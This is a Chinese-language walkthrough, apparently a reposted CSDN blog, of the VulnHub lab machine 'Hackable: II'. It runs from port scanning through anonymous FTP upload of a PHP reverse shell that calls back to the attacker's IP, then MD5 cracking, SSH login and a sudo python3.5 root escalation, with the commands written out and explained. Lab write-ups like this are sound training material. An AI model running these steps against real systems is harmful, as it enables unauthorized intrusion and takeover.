Hackable: II靶场测试

靶场:Hackable: II Hackable: II ~ VulnHubicon-default.png?t=O83Ahttps://www.vulnhub.com/entry/hackable-ii,711/

攻击机:kali-linux-2024

 

第一部分:信息收集

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

靶机IP地址192.168.23.132,攻击机IP地址192.168.23.128

3,扫描靶机端口服务

nmap -sS -sV -A -n -T4 -p- 192.168.23.132

21/tcp open  ftp     ProFTPD

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

80/tcp open  http    Apache httpd 2.4.18

4,gobuster爆破网站后台网页

gobuster dir -u http://192.168.23.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,php,txt,html

5,没有什么比较明显的可利用页面,直接访问192.168.23.132、

没有什么利用点的静态页面

6,访问一下192.168.23.132/files,

点开页面显示“准备接听电话”,注意到这个文件和第3步端口服务扫描中FTP信息里面的文件是一样的

第二,三部分:漏洞发现+漏洞利用

7,尝试登录一下ftp服务器,没有找到密码本,可以试试匿名用户anonymous登录

8,登录成功,而且能够通过get下载CALL.html

8,随便上传一个文件,测试能否上传到ftp服务器的/files目录

9,验证发现能够上传,那么可以直接使用kail自带的反弹shell木马,将其拷贝到家目录下

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

然后将IP地址改为192.168.23.128,端口可以默认

10,通过put方式上传反弹shell木马到靶机

11,第10步的同时开启对1234端口的监听,在192.168.23.132/files点击一下shell.php就能让攻击机获得的shell

对靶机存在漏洞的详解:

配置不当漏洞

解释:如果FTP服务器允许匿名登录并且没有对上传文件的类型和内容进行严格限制,这就是一种配置不当。例如,在正常情况下,为了安全,应该禁止匿名用户的写入权限,特别是禁止上传可执行脚本(如一句话木马这种恶意脚本)。如果没有这样的限制,攻击者就可以利用这个配置上的漏洞上传恶意文件。

举例:某些FTP服务器在初始配置时,默认设置可能允许匿名用户有一定的写入权限,而管理员没有根据安全需求进行调整,就可能出现这种漏洞。

未授权访问漏洞

解释:当FTP服务器允许匿名登录并且能上传恶意文件时,这可能暗示着存在未授权访问漏洞。虽然匿名登录在一定程度上是一种正常的功能,但如果匿名用户被赋予了过度的权限(如上传可执行的恶意代码),就相当于未授权的恶意用户可以利用这个权限进行攻击。

举例:像vsftpd2.3.4版本可能存在FTP(匿名登录)未授权访问漏洞,如果服务器是这个版本且没有进行相关安全修复,攻击者就可能利用匿名登录功能上传一句话木马等恶意文件,从而进一步进行恶意操作,如获取服务器控制权等4

第四部分:简单的”横向移动“

12,使用python脚本获得可交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

13,查看权限三件套

14,查看有无提取利用点sudo -l

15,需要输入密码也就无法利用了,那么查看suid提取利用

 find / -perm -u=s -type f 2>/dev/null

在Linux系统中查找具有SUID(Set User ID)权限的文件

  1. find /:

从根目录(/)开始查找文件和目录。

  1. -perm -u=s:

-perm:指定权限模式。

-u=s:查找具有SUID权限的文件。SUID权限允许用户在执行文件时以文件所有者的权限运行,而不是以执行者的权限运行。

  1. -type f:

-type f:指定只查找文件(不包括目录)。

  1. 2>/dev/null:

2>/dev/null:将标准错误输出(stderr)重定向到/dev/null,即忽略所有错误信息。这样可以避免在查找过程中显示权限不足等错误信息

16,没有利用点。查看一下有无用户信息

17,在/home目录下,存在important.txtshrek用户的目录,其中important.txt提示我们运行./runme.sh

18,查找一下./runme.sh目录的位置

find / -name "runme.sh"

find:这是命令本身,用于在文件系统中查找文件。

/:这是搜索的根目录。/表示根目录。

-name "runme.sh" :这个选项指定了要搜索的文件的名称

在干根目录下

19,查看一下 cat .runme.sh

19,使用MD5解密网站解密一下得到:onion

MD5免费在线解密破解_MD5在线加密-SOMD5

第五部分:提权

20,第3步还知道开启了22端口的ssh服务,而且明显提示这是shrek用户的密码,那么就可以进行ssh登录

21,查看权限三件套

22,在当前家目录下发现flag

23sudo -l查看提权利用点

用户 shrek 在 ubuntu 系统中有特定的默认设置(Defaults)和被允许以无密码(NOPASSWD)方式执行的命令 /usr/bin/python3.5(以 root 身份)。

24,既然能够无密码使用python3.5,那么就可以sudo运行python命令

sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'

该命令的主要目的是在当前终端会话中生成一个具有更高权限的交互式Bash shell。

  1. sudo:

用于以超级用户(root)权限执行后续命令。

  1. /usr/bin/python3.5:

指定要使用的Python解释器版本。这里使用的是Python 3.5。

  1. -c:

Python命令行选项,允许执行单行Python代码。

  1. 'import pty;pty.spawn("/bin/bash")':

这是传递给Python解释器的代码。

import pty: 导入Python的pty模块,该模块提供了伪终端(pseudo-terminal)功能。

pty.spawn("/bin/bash"): 使用pty模块的spawn函数生成一个新的Bash shell。这个Bash shell将具有与当前终端相同的特性(如回显、控制字符等),并且由于使用了sudo,它将以root权限运行

25,可以看到成功提权,由此得到flag

主机扫描发现靶机——对靶机开放端口服务进行扫描——对网页进行爆破——发现存在ftp服务器配置不当漏洞——利用漏洞上传反弹shell木马——控制靶信息收集——横向移动到其他用户——存在sudo无密码执行python的漏洞——使用python提权成为root用户

声明:部分内容参考网络创作,侵权联系删除

猜你喜欢

转载自blog.csdn.net/zhongyuekang820/article/details/143168208